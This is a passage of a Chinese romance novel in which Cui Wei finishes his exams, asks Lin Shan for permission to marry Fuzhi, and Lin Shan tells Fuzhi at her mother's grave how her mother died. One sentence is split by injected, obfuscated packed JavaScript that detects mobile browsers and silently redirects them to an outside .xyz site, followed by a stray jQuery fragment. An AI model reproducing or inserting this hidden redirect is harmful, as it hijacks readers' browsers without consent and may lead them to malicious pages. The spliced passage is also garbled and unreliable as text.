崔巍从考场出来时，日头已经西斜。
贡院门口人头济济，寒暄声、寻人声响成一片。
深秋的清冽空气里混杂着尘土和马匹的气味。他立在石阶上，深深吸了一口气，试图让连续紧绷了三日的心神稍稍舒缓。
他的目光在攒动的人影里逡巡，几乎是立刻，就捕捉到了那抹温暖得扎眼的杏色。
福芝穿着合身的杏色夹袄，腰肢在厚重的布料下依然显出利落的线条。
发间只簪了一支素净的木簪，额发被秋风吹拂得稍乱。
两人的视线在喧嚣的人潮中精准地撞上。
崔巍噙着笑，朝着她走去。
他的每一步都落在福芝的视线里，她能感觉到那目光带着灼热的温度落在自己身上，直至在她面前站定，投下一片暗影。
“考得如何？”福芝迎上两步，声音带着一丝不易察觉的紧张。
像是担心给他施压，又找补道：“里头定然没睡好也没吃好。我们直接回杏花村吧，爹他们都在家里准备好了，回去好好歇一场。”
崔巍露出浅淡的笑意：“不必担忧，考试……尚可。”
尚可二字从崔巍口中说出，分量便截然不同。
福芝眼里骤然一亮，嘴角不自觉地上扬，那份欢喜明晃晃地写在脸上，半点不遮掩。
崔巍自幼被教导喜怒不形于色，却觉得福芝这般直白的欢喜格外动人。
她因他而喜，因他而忧，这份牵动让他心头涌起一股说不清道不明的……隐秘的餍足。
看着她的笑脸，他忽然不想再说什么谦辞，就想这样看着她为自己高兴的样子。
两人之间隔着半臂距离，空气里却仿佛有看不见的丝线绷紧了。
“那就走吧，”她声音里透着轻盈愉悦，“这里人多，马车不好停。竹影和林楠也来了，他们把马车停在了在后面的小巷里。”
福芝迈步想走，崔巍却顿了顿，解下自己的大氅。
他手臂环过她后背，为她披上自己的大氅，又顺手将她压在下面的长发理出来，呼吸扫过她耳际。
“风大，你穿的有些少了。”崔巍声音很低，像是只说给她听。
福芝没动。外氅里的暖意渗进来，混着他身上的气息，熏得她耳根发烫。
她想道谢，话到嘴边却变成一声几不可闻的“嗯”。
崔巍似乎轻笑了一下，手掌在她肩上轻轻一按，收了回去，两人的距离拉近，却又无声地朝着后巷走去。
竹影远远看见他们，快步迎上来：
“公子，累坏了吧？车上备了热茶，先上车休息一会儿吧。”
崔巍点头，伸手扶福芝上车。她肩上的外氅有些大，上车时滑了一下。
竹影看见了，低头笑了笑，转身去检查马鞍。
林楠坐在车里，见他们进来，往旁边让了让。
马车动起来，竹影在前头赶车，时不时回头说几句话。福芝捧着茶，热气模糊了她的脸。崔巍靠在车厢上，闭目养神。
两人都没说话，只听得车轮碾过石板的声音。
林楠看看这个，又看看那个，低头拨了拨炭火。炭火噼啪响了两声，车里更暖和了。
*
林家小院里，林山正在收拾最后几筐晒好的稻谷。
见他们回来，他正好放下耙子，难得露出笑容：“回来了。”
晚饭还是家常菜，但做得很用心。大家边吃边聊，有说有笑。
吃完饭，各自忙活起来。崔巍避开其他人，走到门外找正在抽烟的林山，递上一杯茶。
“林叔，”崔巍声音低而稳，“我想跟您说点事。”
林山点着烟袋，烟雾在清冷的空气里散开。两人走到院子角落，离正厅和灶房远些。
崔巍从怀里取出一个荷包，解开：
“在京中读书这两年，我也攒了些银钱。”
不多，只有几十两银子。
对乡下人来说，不是个小数，但对崔巍来说，或许还不及从前一月的用度。
但这也几乎是他这两年的全部收入，刨除了必要的花销，基本都攒了下来。
林山沉默着抽了两口烟，不去接荷包，也不看他：“说吧，你是有什么打算？”
“这次会试，我有些把握，但不论中与不中，这些钱是想向您证明我的心意，还有我如今的能力。”
他顿了顿，目光坦然地迎上林山抬起的视线：
“若是中了，自然更好；若是不中，我在京中已寻得一处蒙馆教席，束脩虽不算丰厚，却也足够支撑门户，给……给妻子一份安稳的日子。”
“我想与福芝成亲。”
话音落下，院子里只剩下风吹落叶的沙沙声。
林山磕烟灰的动作停住了，浑浊却锐利的眼睛透过散去的烟雾，落在崔巍年轻而沉静的脸上。
崔巍很少这样说话。
他这样的人，从小浸在规矩礼数里，说话做事总要留三分余地，讲究含蓄周全。
可今日，他抛开了从前学来的东西，心中已然有了决断，便不再需要那些弯弯绕绕的铺垫。
一片枯叶打着旋落在崔巍脚边。
林山接着磕了磕烟灰，终于抬头正色看他：“你是个知道轻重的人。”
崔巍喉结动了动，“我知道这话说得急，也……有些唐突。若是按我从前的性子，总想着要等万事俱备，功名齐全，家宅安稳，风风光光地才敢登门提亲。”
总怕自己委屈了她，也怕……配不上她。
“只是今时不同往日，我不愿再让福芝等了。”他想起她眼中那毫无保留的信任与期待。
他不能再让她这样遥遥无期地等下去，等他那个或许永远也达不到的“万事俱备”。
林山看着远处秋色中的山峦轮廓：“你这个年纪，确实是该成家了。”
这话让崔巍心头微微触动。
他对林山，早已不只是看作福芝的父亲。
在他家破人亡、最狼狈不堪的时候，是这个沉默寡言的长辈，顶着流言蜚语，收留了他，给了他一个遮风挡雨的屋檐，一碗热腾腾的饭食。
这份恩情，重如山岳。
“长辈们……都已不在了。”
“如今，能替我做主、能听我说这番话的长辈，也只有您了。”
他抬起头，目光灼灼地看着林山，那份郑重近乎虔诚，“我知道这不合礼数，是我僭越。但在我心里，您也是我的长辈。”
秋风卷过庭院，带着深秋的凉意，也带来远处灶房里福芝隐约的哼歌声。
良久，林山站起身，拍了拍身上的烟叶，他没有说“好”，也没有说“不好”。
他只是转身，朝着厅中去，话散在风里：
“再等等吧，等你放榜之后，再谈这个。”
*
天刚蒙蒙亮，灰白的光线透过窗纸渗进来。林山便敲响了福芝的房门。
“福芝，”他的声音带着些许沙哑，“起来，去看看你娘。”
父女俩沉默地走上后山。
深秋的山坡，草色枯黄，像蒙了一层雾，只有几株霜打过的野草，倔强地透出一点残红，在萧瑟中格外刺眼。
福芝娘亲的坟在一棵叶子落尽的老槐树下。
林山走到坟前，弯下腰，沉默而仔细地拔去石碑周围新冒出的几丛枯草，露出冰冷的碑面。
上面只有一行简单的刻字：“林山妻子、姜芮之墓”。
“去，给你娘磕头。”
福芝仰头看了眼爹的神情，他总是这样沉默不语的样子，与自己也话也不多，但所流露的关心，总是写在了生活里的一点一滴中。
正如眼前，即便林山没有神情，福芝也能感受到，他心里很不好受。
福芝跪在冰冷的土上，手指触到粗糙的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268601|182200||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
碑面。她以为会哭，但眼眶干涩。寒风掠过耳畔，几片最后的枯叶打着旋落下，擦过她的衣袖。
“娘，我来看你了。”她低声说，声音被风吹得有些散，“这两年在外头跑，没顾上回来给您烧香磕头，是女儿不孝……”
“你娘不会怪你的。”林山突然开口，打断了她的话。
他很少在坟前说话，更少提及妻子，仿佛那是一个尘封的、带着痛楚的禁忌。
福芝诧异地抬头看他。
林山望着墓碑，目光悠远，仿佛穿透了时光：“她……是个很好的人。”他重复着，声音里带着一种陷入久远回忆的恍惚。
福芝心头一动，一个埋藏多年的疑问终于忍不住脱口而出：
“爹……我娘，她……为什么会走得那么早？”
林山沉默良久，烟袋里的火星明明灭灭。他缓缓开口：
“你娘……是个不一般的女子。从京城来的大家闺秀，琴棋书画样样精通。
那年我在山里头打猎，遇见她独自一人，她迷了路，衣裳都刮破了，却还保持着那份贵气。”
他磕了磕烟灰，声音低沉：“起初她身子骨还行，就在咱家暂住下。
我往京城她府上送了好几封信，想着她家里人该急疯了……”
林山喉头滚动了一下：“可，最后只收到一封回信，说她‘不守闺训’，让他们蒙羞。自那以后，她就再没提过家里的事。”
“后来……她嫁给了我。怀你的时候，她身子看着还好些了，脸上也有了点笑模样。
她又偷偷给家里写了封信……我不识字，不知道她写了什么，也不知道回信写了什么。只记得她看完那封信后，整个人就垮了。
整宿整宿睡不着觉，对着油灯发呆，慢慢的虚弱下去……”
风吹得树叶沙沙作响，林山的声音几乎要淹没在风里：“没过两年，她就……走了。临走前还攥着那封家书，怎么都不肯松手。”
最后几个字，轻得像叹息，消散在风里。
他看着女儿，眼神复杂：“你娘啊……她是个很好的人。可那些京城的大户人家，规矩比天大，脸面比命重……是容不下她的。”
他顿了顿，目光转向福芝，带着忧虑：
“福芝，爹的意思是，崔巍那孩子，品性是不错。可若真要进京，去那样的地方，爹怕他……未必能护得住你这样的性子。”
他加重了语气，“更何况，他的路跟咱们不一样。他念书，考功名，那是要往高处走的。
你跟着他，往后的日子……只怕更难。”
他长长地叹了口气：“福芝，若是你在村里，遇到什么不快，有什么不高兴，爹随时都能去将你接回来。”
“可京城啊，那么远……”
他神情有些苦涩，却又带这些欣慰，欣慰女儿比他有能力得多，也担心她的未来或许走得不太顺畅。
“爹只怕，赶不到那样快。”
“爹，”福芝忽然开口，声音不大却清晰，“我不怕。”
“而且，崔巍一定与这些人不同……”
林山望着女儿倔强的脸庞，那眉眼间依稀带着她母亲的影子，却又分明是另一种模样。
福芝的性子，其实并不像她母亲。这孩子是在田地里摔打出来的，骨子里带着泥土的韧劲，不会轻易倒下，任凭风吹雨打，依然能昂首挺立。
只是……姜芮也从京中来。或许，冥冥之中自有天意，让这个在乡野长大的孩子，终有一日要回到那个繁华之地。那里有她母亲的遗憾，也有她自己的未来。
良久，他终于极其缓慢地点了一下头，像是做出了一个艰难的决定：
“再等等吧，闺女。等他放榜。中了，你们……就在京城安家；不中……”
他顿了顿，声音里带着一丝不易察觉的期盼，“就回来。爹还有把力气，想办法给你俩开个医馆，可好？”